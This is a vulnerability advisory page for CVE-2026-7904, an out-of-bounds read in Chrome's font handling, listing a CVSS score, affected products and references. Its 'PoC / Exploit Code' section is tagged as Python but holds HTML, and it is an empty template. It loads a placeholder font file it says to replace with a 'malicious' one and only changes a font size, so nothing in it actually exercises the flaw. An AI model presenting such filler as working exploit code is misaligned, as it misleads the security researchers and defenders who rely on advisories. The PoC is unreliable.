CVE-2026-7904

Description

Out of bounds read in Fonts in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html>
<!-- Proof of Concept for CVE-2026-7904 -->
<!-- This PoC attempts to trigger the out-of-bounds read in Chrome Fonts -->
<html>
<head>
<style>
    @font-face {
        font-family: 'VulnFont';
        src: url('crafted_font_file.ttf'); /* Replace with actual malicious font file */
    }
    .target {
        font-family: 'VulnFont';
    }
</style>
</head>
<body>
    <div class="target">Testing Font Vulnerability</div>
    <script>
        // Attempt to trigger rendering logic that causes the read
        window.onload = function() {
            console.log("Page loaded, attempting to trigger vulnerability...");
            document.querySelector('.target').style.fontSize = "20px";
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7904
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7904
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7904/
[4] VulDB https://vuldb.com/cve/CVE-2026-7904
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/492350406

Raw JSON Data

JSON

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